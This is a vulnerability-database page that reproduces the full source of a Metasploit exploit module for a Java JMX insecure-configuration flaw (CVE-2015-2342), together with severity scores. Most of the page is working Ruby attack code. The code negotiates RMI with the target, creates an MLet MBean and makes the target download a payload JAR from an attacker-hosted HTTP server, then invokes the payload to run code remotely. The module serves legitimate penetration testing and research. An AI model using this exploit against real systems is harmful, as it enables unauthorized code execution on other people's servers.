Lucene search

K
metasploitBraden Thomas, juan vazquez <[email protected]>MSF:EXPLOIT-MULTI-MISC-JAVA_JMX_SERVER-
HistoryMar 18, 2015 - 8:55 p.m.

Java JMX Server Insecure Configuration Java Code Execution

2015-03-1820:55:52
Braden Thomas, juan vazquez <[email protected]>
www.rapid7.com
39

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS

0.972

Percentile

99.8%

This module takes advantage a Java JMX interface insecure configuration, which would allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while interfaces with authentication enabled will be vulnerable only if a weak configuration is deployed (allowing to use javax.management.loading.MLet, having a security manager allowing to load a ClassLoader MBean, etc.).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Java::Rmi::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Java JMX Server Insecure Configuration Java Code Execution',
      'Description'    => %q{
        This module takes advantage a Java JMX interface insecure configuration, which would
        allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
        disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
        interfaces with authentication enabled will be vulnerable only if a weak configuration
        is deployed (allowing to use javax.management.loading.MLet, having a security manager
        allowing to load a ClassLoader MBean, etc.).
      },
      'Author'         =>
        [
          'Braden Thomas', # Attack vector discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
          ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
          ['CVE', '2015-2342']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '', 'DisableNops' => true },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' =>
        {
          'WfsDelay' => 10
        },
      'Targets'        =>
        [
          [ 'Generic (Java Payload)', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2013-05-22'
    ))

    register_options([
      Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
    ])
    register_common_rmi_ports_and_services
  end

  def post_auth?
    true
  end

  def on_request_uri(cli, request)
    if @jar.nil?
      p = regenerate_payload(cli)
      @jar = p.encoded_jar({random:true})
      paths = [
        ["metasploit", "JMXPayloadMBean.class"],
        ["metasploit", "JMXPayload.class"],
      ]

      @jar.add_file('metasploit/', '')
      paths.each do |path_parts|
        path = ['java', path_parts].flatten.join('/')
        contents = ::MetasploitPayloads.read(path)
        @jar.add_file(path_parts.join('/'), contents)
      end
    end

    if request.uri =~ /mlet$/
      jar = "#{rand_text_alpha(8 + rand(8))}.jar"

      mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
      mlet << "archive=\"#{jar}\" "
      mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
      mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
      send_response(cli, mlet,
        {
          'Content-Type' => 'application/octet-stream',
          'Pragma'       => 'no-cache'
        })

      print_status("Replied to request for mlet")
    elsif request.uri =~ /\.jar$/i
      send_response(cli, @jar.pack,
        {
          'Content-Type' => 'application/java-archive',
          'Pragma'       => 'no-cache'
        })
      print_status("Replied to request for payload JAR")
    end
  end

  def autofilter
    return true
  end

  def check
    connect

    unless is_rmi?
      return Exploit::CheckCode::Safe
    end

    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      return Exploit::CheckCode::Safe
    end

    connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    unless is_rmi?
      return Exploit::CheckCode::Unknown
    end

    jmx_endpoint = handshake(mbean_server)
    disconnect
    if jmx_endpoint.nil?
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Appears
  end

  def exploit
    vprint_status("Starting service...")
    start_service

    @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
    connect

    print_status("Sending RMI Header...")
    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
    end

    print_status("Discovering the JMXRMI endpoint...")
    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
    else
      print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
    end

    # First try to connect to the original RHOST, since the mbean address may be inaccessible
    begin
      connect(true, { 'RPORT' => mbean_server[:port] })
    rescue Rex::ConnectionError
      # If that fails, try connecting to the listed address instead
      connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    end

    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
    end

    print_status("Proceeding with handshake...")
    jmx_endpoint = handshake(mbean_server)
    if jmx_endpoint.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
    else
      print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
    end

    print_status("Loading payload...")
    unless load_payload(jmx_endpoint)
      fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
    end

    print_status("Executing payload...")
    send_jmx_invoke(
      object_number: jmx_endpoint[:object_number],
      uid_number: jmx_endpoint[:uid].number,
      uid_time: jmx_endpoint[:uid].time,
      uid_count: jmx_endpoint[:uid].count,
      object: "#{@mlet}:name=jmxpayload,id=1",
      method: 'run'
    )
    disconnect
  end

  def is_rmi?
    send_header
    ack = recv_protocol_ack
    if ack.nil?
      return false
    end

    true
  end

  def discover_endpoint
    rmi_classes_and_interfaces = [
      'javax.management.remote.rmi.RMIConnectionImpl',
      'javax.management.remote.rmi.RMIConnectionImpl_Stub',
      'javax.management.remote.rmi.RMIConnector',
      'javax.management.remote.rmi.RMIConnectorServer',
      'javax.management.remote.rmi.RMIIIOPServerImpl',
      'javax.management.remote.rmi.RMIJRMPServerImpl',
      'javax.management.remote.rmi.RMIServerImpl',
      'javax.management.remote.rmi.RMIServerImpl_Stub',
      'javax.management.remote.rmi.RMIConnection',
      'javax.management.remote.rmi.RMIServer'
    ]
    ref = send_registry_lookup(name: datastore['JMXRMI'])
    return nil if ref.nil?

    unless rmi_classes_and_interfaces.include? ref[:object]
      vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
      return nil
    end

    ref
  end

  def handshake(mbean)
    begin
      opts = {
        object_number: mbean[:object_number],
        uid_number: mbean[:uid].number,
        uid_time: mbean[:uid].time,
        uid_count: mbean[:uid].count
      }

      if datastore['JMX_ROLE']
        username = datastore['JMX_ROLE']
        password = datastore['JMX_PASSWORD']
        opts.merge!(username: username, password: password)
      end

      ref = send_new_client(opts)
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
      return nil
    end

    ref
  end

  def load_payload(conn_stub)
    vprint_status("Getting JMXPayload instance...")

    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: "#{@mlet}:name=jmxpayload,id=1"
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceNotFoundException'
        vprint_warning("JMXPayload instance not found, trying to load")
        return load_payload_from_url(conn_stub)
      else
        vprint_error("getObjectInstance returned unexpected exception #{e.message}")
        return false
      end
    end


    return false if res.nil?

    true
  end

  def load_payload_from_url(conn_stub)
    vprint_status("Creating javax.management.loading.MLet MBean...")

    begin
      res = send_jmx_create_mbean(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'javax.management.loading.MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceAlreadyExistsException'
        vprint_good("javax.management.loading.MLet already exists")
        res = true
      when 'java.lang.SecurityException'
        vprint_error(" The provided user hasn't enough privileges")
        res = nil
      else
        vprint_error("createMBean raised unexpected exception #{e.message}")
        res = nil
      end
    end

    if res.nil?
      vprint_error("The request to createMBean failed")
      return false
    end

    vprint_status("Getting javax.management.loading.MLet instance...")
    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'DefaultDomain:type=MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The request to GetObjectInstance failed")
      return false
    end

    vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")

    begin
      res = send_jmx_invoke(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        object: 'DefaultDomain:type=MLet',
        method: 'getMBeansFromURL',
        args: { 'java.lang.String' => "#{get_uri}/mlet" }
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("invoke() returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The call to getMBeansFromURL failed")
      return false
    end

    true
  end
end

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS

0.972

Percentile

99.8%